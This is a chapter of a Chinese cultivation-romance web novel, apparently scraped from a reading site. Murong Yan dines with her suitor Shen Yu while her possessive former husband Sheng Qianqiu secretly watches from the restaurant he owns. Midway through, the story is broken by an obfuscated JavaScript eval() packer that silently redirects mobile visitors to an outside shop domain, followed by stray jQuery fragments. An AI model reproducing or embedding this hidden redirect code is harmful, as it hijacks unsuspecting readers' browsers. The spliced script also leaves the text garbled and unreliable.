慕容颜是下午入睡的,也是下午醒的。
这一觉她睡了好久,睁开眼时还有点懵,以为自己还在宫里,直到看见房间陈设才想起自己在长白宗。
屋里没人,沈卉不知道去忙什么了。
慕容颜拿起自己的传讯牌,看着未读的消息。
有三条都是沈玉发来的。
“虽然昨天已经当面道贺了,却还是想祝贺你。”
“你醒了我去找你。”
“对了,可以问问你和盛千秋的关系吗?(*^_^*)”
无端有些烦躁,她关闭了通讯牌。
下一秒,通讯牌便又响起了消息提示,“回消息。我买了破解版通讯令,看到你已读了。”
……
慕容颜沉默了,有钱果然能使鬼推磨。
“嗯。”她回了一个字。
消息一发出,那边几乎是秒回,“我来接你。”
两人在山脚下的醉香楼吃饭,今日不是什么节日,店里人比往常少了一些。
小厮认出了两位都是长白宗风头正盛的弟子,热情地招待他们。
沈玉不作言语,他辟谷多年,对事物自然也不感兴趣,只将视线轻轻放在她身上。
慕容颜一连点了好几道菜,清蒸鲫鱼,板栗红烧肉,爆炒时蔬……还有一道名叫出水芙蓉的糖水,她幸福地眯了眯眼。
“颜颜。”沈玉抱手坐在慕容颜对面,觉得是时候开始和她谈谈了。
怎么不叫“颜姑娘”了?慕容颜抬眸看他。
兴许是读懂了她的眼神,他解释道:“你入了长白宗,大家便都会喊你颜师妹了,我呢,自然也不会喊你颜姑娘了。”
理是这么个理。
沈玉说完,慕容颜点点头,活像只呆头鹅。
她在情爱方面算是个异类。
自小与表哥一起长大,表哥是个脾气好的,对慕容颜也百依百顺,甚至还说以后要娶她为妻,保证对她一心一意,绝不纳妾。
但小姑娘丝毫不感动,甚至无感,觉得这是表哥的心愿,与她没多大干系。
再大一些,稍稍知晓了人事,家中姊妹每每谈起倾慕的男子,慕容颜从来不插话,只在一旁安静地听。
不是因为其他的,而是她很难明白一个人究竟是为什么喜欢上另外一个人的。
阿姊们正值豆蔻年华,情窦乱开,因为相貌、才华喜欢上男子很正常,但是因为他是单眼皮就喜欢上他了,慕容颜觉得很不可理喻。
当她怀着好奇的态度问阿姊们的时候,她们笑作一团,对她说:“傻丫头,当然不是因为这个才喜欢他的——喜欢是没有理由的,等你长大便知道了。”
等慕容颜长大,便被盛千秋一刻不等地带进宫里关着了,更别提与外男接触了。
盛千秋比她大五岁,许多事上都哄着她,顺着她,慕容颜没由来地发脾气他也觉得可爱灵动。
他知道自己大她不少,也知道她虽然极有自己的想法,但于情事上可谓一窍不通,总担心她会移情别恋,轻易喜欢上了别人。
于是盛千秋常在她耳边说,“一个男子真正喜欢一个女子,应当是愿意跪在地上任那女子打骂的。”
慕容颜相信了,她觉得盛千秋做得就不错。
但是沈玉呢?
她收敛了思绪,看向对面的人,他也会跪下来任自己打骂吗?
不等她求证,面前的人再次开口,“颜颜,你和盛千秋是什么关系?他当真是凡间的皇帝吗?”
少年人有些心急,如果秘境里是真的,那么身为太子的盛千秋是最有可能坐上皇位的人。
如果她真是盛千秋的妻子——那他的身份将极为尴尬。
更糟糕的是,由奢入俭难,即使自己出身名门望族,但哪能和皇帝比,享尽了荣华富贵的慕容颜又怎么能看上他?
少女闻言长长地“哦”了一声,似乎不是很上心。
“别光哦啊,颜颜,”沈玉急得轻轻拽了拽她的衣袖,随后抛出一个问题,“你喜欢他吗?”
只要两人不是两情相悦,只要颜颜不喜欢他,即使他们真的有什么关系,他也可以。
大丈夫敢作敢当,他沈玉今天就做第三者了,不怕宗门上下怎么看他。
沈玉目光炙热,死死盯着慕容颜。
慕容颜心里发愁,盛千秋说过一个男子真正喜欢一个女子,会愿意跪下来任她打骂,那么反过来也是这个道理。
一个女子真正喜欢一个男子,应该也是这样吧。
她脑补了自己跪在地上任盛千秋打骂的画面——登时就怒了。
“不喜欢。他喜欢我,但我不喜欢他。”她回道。
那就好。
沈玉心里长舒一口气,想想也是,他们之间年龄差了五岁,那盛千秋与颜颜自是不会像他与颜颜之间这么相配。
有钱有势有权有身份有地位还相貌堂堂又如何?
感情里面,不被爱的那个人才更可悲。
饭吃得差不多,沈玉招呼小厮结账,慕容颜在酒楼里张望着什么。
小厮姓胡,面庞白净,很好说话,大家都叫他小胡。
她招了招手,“小胡,快过来。”
小厮跑着过来,“慕容姑娘有何吩咐?”
“那日下注的名单你还记得吗?”她狡黠地笑笑。
酒楼里下注的都是常来的客人,小胡早就对客人们了如指掌。
“记得啊。”
她眼珠子转了几圈,“哎,小胡,这几日我是吃吃不好,睡也睡不好……”
“姑娘这是怎么了?”
“你说他为什么那么相信我,肯下那么多的注。”
见小胡有些犹豫该不该说,慕容颜继续加码,沈玉看穿了她的小把戏,在一旁克制笑意。
“我们明明,明明……”慕容颜也来了一计欲说还休,看起来话在心口难开。
“姑娘,千万别这么想,贵客心里还是有您的,他一直惦念着与您的夫妻情分,小的觉得他一定还爱您。”
沈玉的脸登时黑成锅底。
像是很不可思议,慕容颜张了张嘴,一时不知道该说什么,最后只好来了句“有眼光。”
小胡显然被这“落花有意,流水无情”的这段情给触动了,目光在慕容颜和她的新欢身上流连。
“如果姑娘还有一点点情意在,记得……”
沈玉一把捂住小厮的嘴,打断了这出戏,心道盛千秋一定是故意在他们经常吃饭的酒楼安排了一个爱演苦情戏的小厮。
心机深沉。
他拉起慕容颜的胳膊,将她拖离了现场。
如果盛千秋知道沈玉这么想他,一定觉得两人是知己。
二楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702780|208237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
雅间内,屏风遮住了客人的身形,风移影动,从外面看只能看到雅间里的两道影子。
但从这个角度往楼下看,倒是刚好能看到方才少年男女郎情妾意的模样。
两人都是修为深厚的修士,耳力极佳。
“千秋,你妻子好像不要你了。”
龚穆被盛千秋邀请过来见见自己未来的徒弟,说是见见,但只是单方面见。
不凑巧,还听到了他们的爱恨纠葛。
龚穆是最了解自己这个好友的,盛千秋对自己这个妻子宝贝得紧,不舍得她受一丝丝的委屈,甚至昨天还拉着自己进行教师培训。
好友原话是这么说的,“阿颜想要做好一件事时很认真,这是你之幸,当然她做不好的时候你也不要强迫她,给她点时间。”
“阿颜她年纪小,我之前又总束着她,今后可能会翘课下山玩,你我都是从那个年纪过来的,龚兄多体谅。”
“阿颜喜欢被鼓励,我往日得的灵丹法宝由你奖给她,她会更高兴。”
……
除此之外,还有教习课程盛千秋也一并安排好了,剔除了那些不必要的课程,能留下来的都是优中择优的精华。
他给人当师尊多年,第一次这么憋屈,被盛千秋一句“为难你了,龚兄”堵了回去。
若不是念着两人志同道合,而好友又在之前救了自己一命的份上,龚穆绝不可能同意的。
回到正题,龚穆倒是想看看好友对妻子离心持什么态度。
盛千秋端起茶盏,里面泡的是腊梅,正如情爱——不经一番寒彻骨,哪得梅花扑鼻来。
他浅饮一口,“龚兄说笑了,阿颜的性格我了解。”
听到“阿颜”两个字,龚穆条件反射,以为盛千秋又要嘱咐他什么了,却不料听到以下这番话。
“被束缚久了的人,一时重获自由,又有个天之骄子般的小子追着自己,她很难不觉得这才是她想要的。
但一旦没人阻拦,她的这份反叛也就失去了对抗,慢慢会归于平淡。”
慕容颜不喜欢被管控,沈玉偏是个沉不住气的。
盛千秋几乎能脑补到这对单纯天真的小情侣被各种琐事所生出罅隙,最终渐行渐远,真是——太好了。
他仍是波澜不惊的表情,语气温和,“最终,她会再回到我怀里。”
龚穆被这番话激得起了一身鸡皮疙瘩,打心眼里为自己弟子感到悲哀,半晌才回道,“我会好好照顾她的。”
自己这个弟子才刚出龙潭,又入虎穴。
有小厮上来为两人添茶,很是热情。
“小胡,做得不错。”盛千秋赞赏道,递给他一个荷包,里面鼓鼓囊囊都是碎银。
“谢谢东家!”
慕容颜爱吃这家酒楼的菜肴,盛千秋便不声张买下了。
一是因为她喜欢,二是看她有没有溜出宫“偷吃”。
龚穆这下是真的目瞪口呆了。
夜晚无风,月亮澄澈,皎洁。
醉香楼修建得十分气派,比周围其他的酒楼宅子要高出那么一些。
盛千秋坐在阁楼雅间上,不再言语。
晚间无风,月亮皎洁澄澈。
他抬头看着月亮,和他少时在西北常看的那轮月亮一样——那是阿颜留给他的月亮。
好想将她现在就抢过来啊。